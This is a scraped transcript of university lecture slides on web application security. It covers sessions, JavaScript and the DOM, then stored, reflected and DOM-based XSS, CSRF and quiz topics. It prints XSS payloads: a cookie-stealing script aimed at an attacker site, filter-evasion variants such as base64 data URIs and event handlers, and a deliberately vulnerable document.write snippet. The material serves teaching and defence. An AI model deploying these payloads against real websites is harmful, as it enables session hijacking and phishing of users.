Small number of changes to greatly

Monster Mitigations https://cwe.mitre.org/top25/#Mitigations
Small number of changes to greatly impact your vulnerability to the top 25

Establish and maintain control over all of your inputs
Establish and maintain control over all of your outputs Lock down your environment Assume that external components can be subverted and that your code can be read by anyone Don’t invent your own Use libraries and frameworks with solid reputation Think “security” throughout the lifecycle Don’t rely on one or two silver bullets

Next: Other web based attacks.
Cross site scripting (XSS) Cross site request forgery (XSRF) To understand these exploits, you will need background in: Dynamic HTML Client-side scripting (e.g., Javascript, ActiveX) DOMs (Document object model). To understand XSS and XSRF exploits, you need a background in: Dynamic HTML Client-side scripting (e.g., Javascript, ActiveX) DOMs (Document object model). The slides will present a brief overview, but for a more detailed explanation, please refer to the supplementary notes: Exploits.pdf on D2L.

Objective: understand create defend against Cross Site Scripting.

Sessions vs stateless Sockets – what’s available from the other side HTTP – using GET HTTP log file HTML JavaScript DOM Session Cookie

mouse, keyboard, Monitor …all happily colocated
Sessions vs Stateless Log in Do stuff Log out Everything in here is implicitly bound together, sharing the same context You, software, computer mouse, keyboard, Monitor …all happily colocated

GUI Stateless: Connect  ask  Answer disconnect

The stateless web version needs
to somehow recreate memory/state How does a “shopping cart” work?

ss = new ServerSocket(1234); while (true) { s = ss.accept();
class Server { ServerSocket ss; Socket s; … ss = new ServerSocket(1234); while (true) { s = ss.accept(); WorkerThread t = new WorkerThread(s); } Assymetric Symmetric class Client { Socket s; s = new Socket(“ ”, 1234); … }

Server.java Client.java Java Socket API Information from the other side HTTP header, GET HTTPD log in action

GUI Stateless: Connect  ask  Answer disconnect
GUI Stateless: Connect  ask  Answer disconnect

Load into browser: file0 file1 file1.html Markup Language

need for dynamic content
Need for some stuff to happen on the client side

HTML – content CSS – layout JavaScript - behavior

Javscript the programming language of HTML and the Web a different language than Java semantics and even syntax are a little fuzzy in places StackOverflow yearly survey JavaScript has spread beyond Web GUI’s

<script type="text/javascript"> function codeAddress() {
<!DOCTYPE html> <html> <head> <title>Test</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <script type="text/javascript"> function codeAddress() { alert('ok'); } window.onload = codeAddress; </script> </head> <body> </body> </html>

DOM (document object model)
It is an API that allows client side scripts to access various elements of a single website. Forms Buttons Links Tables Input fields Radio buttons By type, by name, by content

overview of client side scripts, dynamic html and DOMs
DOM (document object model) It is an API that allows client side scripts to access various elements of a single website. The API is standard across all browsers Example: <html> … <body> <a href= University</a> <script> var myfavoriteuniversity = document.getElementByTagName(‘a’); var currentURL = document.getURL(); </script> </body> DOM API method: getElementByTagName. returns all “links” in the website. Any browser that supports Javascripts must allow the scripts access to various parts of the web-site in which the scripts are embedded. For instance, consider the Javascript embedded into an HTML page (lets call it index.html) in the slide above. The javascript can access all the data in index.html. To make it easier for scripts to access various elements of an HTML file (such as href links, paragraphs etc.), browsers provide APIs. For instance in a Java script, you could access the Radford University link from the index.html page as shown in the figure above. For client side scripts to execute in a browser, the browser must not only be able to interpret the script but also provide API support such that the scripts can access the various elements of the HTML web-site. Otherwise, there is no way for the script to be able to access the website. For instance, for a script to be able to change the background color of a website, it must be able to access the background color field of the HTML page and then change it. Consider the following Javascript: <script> var myfavoriteuniversity = document.getElementByTagName(‘a’); </script> Here, the script uses the getElementsByTagName method in the API provided by a browser to search for all the anchor elements (indicated by the “<a>” tag in the HTML file) within that specific HTML file and return an array of all such tagged elements. SInce users may use different competing internet browsers to access the same website (and hence the same script), there was need for all the browsers to support the same API -- this way a script programmer will not need to customize their scripts for various browsers. Most major browsers agreed on a common API standard called the the document object model or DOM. At the expense of overstating this point: DOM provides an API that is standard across all browsers and is independent of the scripting language used. Other client-side programs: Besides Javascript, there are several other competing technologies that can be used to develop client-side programs. Here’s a list: Java applets: These are Java programs (bytecodes of Java programs) that can be executed by the browser. Unlike Javascripts, these are full-fledged programs that can access the client’s files (with the client’s permission); Adobe Flash™; Microsoft Silverlight(TM)

More on client scripts (example of Javascript)
Many web clients support JavaScript. If your client(browser) supports javascript then a webserver can make your client (browser) run a java script. Examples of java scripts: For security, in most cases, Javascripts cannot access anything beyond the website they are embedded in. For instance the script cannot access any other website that you are browsing to or any of your files such as caches and history files. There are exceptions, for instance, Javascripts can be used to change the size of the browser window which will effect any website that has been opened on tab in the browser.

Browsers sandbox JavaScript such that:
JavaScript cannot access anything beyond the domain in which it is embedded E.g., they cannot read your disk or the history of websites you visited. Unfortunately this powerful security rule above can be bypassed…

Example of an attack that captures your history
When you visit a website, the links we previously visited are colored differently from current links. See example below. Create a page with many links, when you visit the attacker’s site, the links you visited previously have a different color. The attacker uses the javascript on that page to check the color and presto – she/he knows the pages you visited! Example attack: Let us say you are looking to buy some shoes and go to the websites: and, Finally, you go to the website: Let us say the last website you visit ( wants to know what other sites you visited searching for shoes. What this malicious web site can do is: First independently identifies several shoe buying websites such as etc. Next, the malicious website puts links to all these competing websites on its website. So the will now have links to all the other shoe sites – these links could be inserted indiscreetly somewhere towards the end of the main page. If the user who is viewing the website has viewed the other sites, then the color of the links to those other sites will be displayed by the browser differently. A javascript in the website will be able to look at the link colors and distinguish those with a different color. Scripts such as ActiveX, Flash, Ajax etc., have also been used to perform other malicious actions, such as steal cookies, track sessions etc. In summary, malicious Javascripts or other client-side scripts can be developed. Next, we will see a class of attacks called cross site scripting attacks that use these malicious scripts.

XSS https://youtube.com/watch?v=cbmBDiR6WaY
XSS takes advantage of the fact that many websites allow users to provide the input to the java scripts. E.g., many bulletin boards/forums allow users to embed HTML into their messages. Similarly, websites such as say a search engine, accepts a user input and when performing the search shows the user input. E.g., at Radford’s library site: library.radford.edu, when you searchfor a topic, e.g., “security”, you will notice that the library returns a website with all the books pertaining to security. But the website also displays the word “security” right at the beginning. So a user input is being embedded into a script.

(User doesn’t trust scripts from this site.)
Goal of XSS Trusted web-site (user trusts this website and permits scripts from this to run in browser) User goes to a trusted web-site. Script from malicious site executed by the browser. Malicious website tricks user into thinking script is from trusted web-site. Script can be JavaScript, VBscript, ActiveX, Flash etc., and can steal cookies, hijack the session with the trusted website etc. Malicious web-site (User doesn’t trust scripts from this site.) If you are a conscientious Internet user you probably already disallow scripts from websites you do not trust. In other words, you probably have a setting in your browser’s security preferences that disallows scripts without your explicit permission. This is the reason when you browse a site which has a script, you are prompted whether you wish to download it or not. However, we cannot completely disable scripts without effecting the usability of several websites. For instance, as discussed earlier Google maps heavily relies on scripts. So typically, a user would actually allow scripts from sites he/she trusts. So how can a malicious attacker thrive in such an environment – a hostile environment where you will not let the attacker execute the malicious script that he/she so lovingly created to steal your information. The answer to the attacker’sprayers are what are called cross-site scripting attacks. The basic idea behind cross site scripting exploit is: trick the user into believing that the script is actually from a trusted website.

Persistent XSS (Also called Stored XSS)
Remember, the goal of XSS: trick a user into executing a script from an untrusted website. To make matters more complicated, there are three ways of doing this – with the third way being especially hard to detect. These three approaches for XSS attacks are called: Persistent XSS (Also called Stored XSS) Non-persistent XSS (Also called Reflected XSS) DOM-based XSS We will study Persistant and Non-persistant. DOM based is similar.

Stored/Persistant XSS
Social networking web-site allows users to POST a profile. Step 1: Attacker posts a profile that contains a JavaScript instead of just plain text. Social networking site. ATTACKER <script> Hacked! </script> Step 2: When victim browses the profile of the ATTACKER, the script is executed by the VICTIM’s browser! <script> Hacked! </script> Exploit: The word “persistent” comes in this attack comes from the fact that the malicious script remains on the trusted web-server. Example of a persistent XSS: Consider a trusted web-site such as a social networking site that allows users to post messages for each other. Further, assume that messages can be posted using HTML. Now, if one of the users posts a message which is in HTML and contains an embedded Javascript, then, any user who views this message in their browser will end up executing the script. Since the script is from the trusted site (the social networking site), the unsuspecting browser will execute it. The figure illustrates this attack. Detection: Persistant XSS are easy to detect. The malicious script is being stored on the trusted website. Sothe trusted website can take steps to disallow any scripts. Will this fix the issue? No – unfortunately there is another way to attack: non-persistant XSS. Scripts can be used to transmit victim browser’s cookies or session id or session info (e.g., friends list on the social networking site) to the attackers site. Stored/Persistant XSS VICTIM

Example: Stealing session cookies using stored XSS attacks
What is a session cookie? Session cookie is a temporary cookie dropped by a website After a user a logs in And allows the user to access the same website for some time without logging in again. So the session cookie contains authentication information. Example: Here’s a session cookie of when a user logs in to their gmail account. It allows the user to continue to access it until 9:09 AM on 10/9 Example: Stealing session cookies using stored XSS attacks

Example: Session cookie stealing
Now, a different computer with the same session cookie may be able to access the victim’s account on the website without logging in again as long as the session cookie hasn’t expired.

Example: Session cookie stealing
Assume, the attacker wants to steal session cookies of a user from a social media site called HeadBook. Step 1: Attacker posts a message for all her contacts on Headbook. The message is javascript code: <script> var i= new Image; // create a variable called i // request the website of the hacker and pass it the document cookie. i.src= </script> Step 2: Victim log’s in to headbook and starts checking status messages When victim sees status message from attacker. The Browser makes a request to hackersite.net passing it the document.cookie (that contains the session cookie. Step 3: Hackersite.net now has the victim’s session cookie. Attacker who owns hackersite.net can now use that cookie and access headbook as the victim. Example © Web Application Hacker’s Handbook (2nd Edition), John Wiley & Sons, Page 439, Figure 12-4

When victim sees status message from attacker.
Step 2: Victim log’s in to headbook and starts checking status messages When victim sees status message from attacker. The Browser makes a request to hackersite.net passing it the document.cookie (that contains the session cookie). Step 3: Hackersite.net now has the victim’s session cookie. Attacker who owns hackersite.net can now use that cookie and access headbook as the victim. Example © Web Application Hacker’s Handbook (2nd Edition), John Wiley & Sons, Page 439, Figure 12-4

SUMMARY: Example: Session cookie stealing
Image © Web Application Hacker’s Handbook (2nd Edition), John Wiley & Sons, Page 439, Figure 12-4

Reflected/Non-Persistant XSS
Step 1: Attacker inserts a link to a trusted website with the malicious script embedded into the URL. <script> Malicious script! </script> Here are my favorite links: Attacker Attacker’s website: bad.site. Links to a trusted place must be trustable, no? There should have been the search keyword here. However, since the attacker passed a script instead of a keyword, nothing gets displayed Step 2: Victim browses to attacker’s website – sees the link to the trusted website and clicks on it. Here are my favorite links: Exploit: Unlike persistent, here the script is not being stored on the server side. Persistent XSS are easy to detect and prevent - because the malicious script is getting stored on the server. In a non-persistent XSS the script is not getting stored on the server. Instead it abuses a feature that some websites support: taking a user’s input and displaying it back without any changes in the next HTML page. If the user is tricked into providing a malicious script as an input, then the next HTML page will simply have this script. The figure illustrates a non-persistent XSS. Example of a non-persistent XSS: Consider a website that provides some form search functionality. A user can type in a keyword to search, and the website then displays a new HTML page with the search results. The website may helpfully put your search term at the top when displaying the results. So, what the website did was to take the user’s search term and inserted it back into the next html page along with the results of the search. If the victim user was tricked into providing as input a malicious script then the results html page will contain a script that will execute on the user’s browser. Now, how can a user be tricked into providing a malicious input? One way is for the malicious attacker to create a website with a link to the search website. In the link, the user input in the form of a script can be embedded. Your search for: returned the following search results: No search results found VICTIM’s browser Step 3: The script is executed in the victim’s browser. Reflected/Non-Persistant XSS VICTIM’s browser

Example of session cookie stealing: non-persistant XSS
The attacker in this case, somehow compels a user to click what appears to be a trustworthy link: document.cookie;</script> Example URL © Web Application Hacker’s Handbook (2nd Edition), John Wiley & Sons,

DOM based XSS Its an attack that may seem similar to Reflected (non persistant) but is different. In DOM based XSS, the javascript itself is fed malicious data. The malicious data does not make it back to the server.

DOM example Consider the headbook website with the following javascript: <script> var url = document.location; url = unescape(url) var message = url.substring(url.indexOf(‘message=‘)+8, url.length) document.write(message); </script> What does this java script do? What if an attacker now compels a user to click this link: Example © Web Application Hacker’s Handbook (2nd Edition), John Wiley & Sons, Page 441

Damages from XSS… So far we saw how a session cookie can be stolen using XSS. What else can be done? Virtual defacement of websites. E.g., launch javascript which shows an alternate website. Phishing: have users fill up forms generated by malicious javascript. Execute some action with root privileges: E.g., send a embedded javascript to an admin of a website.. When the admin executes the script it may be able to elevate privileges for that user. Image © Web Application Hacker’s Handbook (2nd Edition), John Wiley & Sons, Page 442, Figure 12-5

Delivering a XSS There are many ways attackers deliver XSS:
Targeted phishing (called “spear” phishing). Example: attacker sends an (reflected javascript) to a system administrator -- is in HTMl with javascript embedded. Sending XSS via s or instant messages Using forums/status Using features such as “like” or send feedback…. © Web Application Hacker’s Handbook (2nd Edition), John Wiley & Sons, Page 449,

How to find XSS attacks? Start with simple scripts such as:
<script> alert(…)</script> Submit this to every parameter in a website. Most websites/browsers will block this. Then try alternatives: “>script…space…left here > … <ScRiPt> %3e%3cscript%3ealert… // Here < is being replaced by an encoding %00”>script> alert …</script> … © Web Application Hacker’s Handbook (2nd Edition), John Wiley & Sons, Page 451

Crafting XSS Consider a library – which accepts a term such as: “SeCurity” as input and returns: <input type=“text” name=“address1” value=“SeCurity” > How would you craft an attack? “>script> alert…</script> Or inject an event handler “onfocus = “alert(1)… Another example: what if the page returned <script> var a = ‘SeCurity’; var b = 123; … </script>? <a href=”SeCurity”> Read me …</a> When the attribute is a URL, you can directly introduce the script using JavaScript: © Web Application Hacker’s Handbook (2nd Edition), John Wiley & Sons, Page 451

Beating filters… A lot of XSS depends on sanitizing input.
E.g., a obvious script such as: <object data=”data:text/html,<script>alert(1)</script>”> Can be stopped. But what about these two: <object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”> <a href=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>click here</a> In addition – there are numerous tags: <xml onreadystatechange=alert(1)> <style onreadystatechange=alert(1)> <iframe onreadystatechange=alert(1)>Click here</a> © Web Application Hacker’s Handbook (2nd Edition), John Wiley & Sons, Page 451

Beating filters…alternative to scripts
<object onerror=alert(1)> <object type=image src=valid.gif onreadystatechange=alert(1)></object> <img type=image src=valid.gif onreadystatechange=alert(1)> <input type=image src=valid.gif onreadystatechange=alert(1)> <isindex type=image src=valid.gif onreadystatechange=alert(1)> <script onreadystatechange=alert(1)> <bgsound onpropertychange=alert(1)> <body onbeforeactivate=alert(1)> <body onactivate=alert(1)> <body onfocusin=alert(1)> Enough? With HTML5 …there are more. © Web Application Hacker’s Handbook (2nd Edition), John Wiley & Sons, Page 458

Beating filters…alternative to scripts
<object onerror=alert(1)> <object type=image src=valid.gif onreadystatechange=alert(1)></object> <img type=image src=valid.gif onreadystatechange=alert(1)> <input type=image src=valid.gif onreadystatechange=alert(1)> <isindex type=image src=valid.gif onreadystatechange=alert(1)> <script onreadystatechange=alert(1)> <bgsound onpropertychange=alert(1)> <body onbeforeactivate=alert(1)> <body onactivate=alert(1)> <body onfocusin=alert(1)> Enough? With HTML5 …there are more. <video src=1 onerror=alert(1)> <audio src=1 onerror=alert(1)> And many many more… © Web Application Hacker’s Handbook (2nd Edition), John Wiley & Sons, Page 458

Other web-based attacks
Cross site request forgery (CSRF) Opposite of XSS. The browser is tricked into trusting a user. In Cross-site scripting attacks the attacker exploited the user’s trust on a website. Cross site request forgery is the opposite -- here the trust that a website might have for a user (perhaps through authentication) is exploited. Specifically, the attacker tricks a user into sending a malicious request to a website that trusts the user. As an example, assume that a user is logged into a social networking site. Now, once the user is authenticated, the social networking site may drop a cookie in the user’s browser to keep track of the session. The cookie will let the user use the social networking site’s features as an authenticated user for some time (till the cookie expiration time or till a certain idle session time has passed). So, as long as the cookie is active, the user can make changes, post messages etc., to the social networking site without authentication. Now suppose an attacker creates a website in which the attacker puts a link to the social networking site. When the user clicks this link -- as the user has an active cookie, the user is automatically logged in. What the attacker can do is to embed within the link a malicious message that he wants the user to post. When a user clicks the link (without seeing the malicious message), then as the user is already logged into the social networking site, the social site will take the message that it gets through the link and posts it. © Web Application Hacker’s Handbook (2nd Edition), John Wiley & Sons, Page 451

Quiz 3 (last one) Buffer overflow HTTP Splitting Cross Site Scripting Attack

Buffer Overflow general idea purpose of stack heap code data Local variables and return addresses on stack

HTTP Splitting Inject a CR/LF pair why? which example shows it?

XSS Attack which of the following scenarios describes an XSS attack?
a malicious user enters a link to their own website instead of entering their name … you find a banking website with a chat window which copies through completely unfiltered comment text an attacker can use XSS to attach this website T/F? demonstrate how form data may be stolen via a maliciously crafted link

Small number of changes to greatly

Similar presentations

Presentation on theme: "Small number of changes to greatly"— Presentation transcript:

Similar presentations

About project

Feedback

Log in

Auth with social network:

Small number of changes to greatly

Similar presentations

Presentation on theme: "Small number of changes to greatly"— Presentation transcript:

Similar presentations

About project

Feedback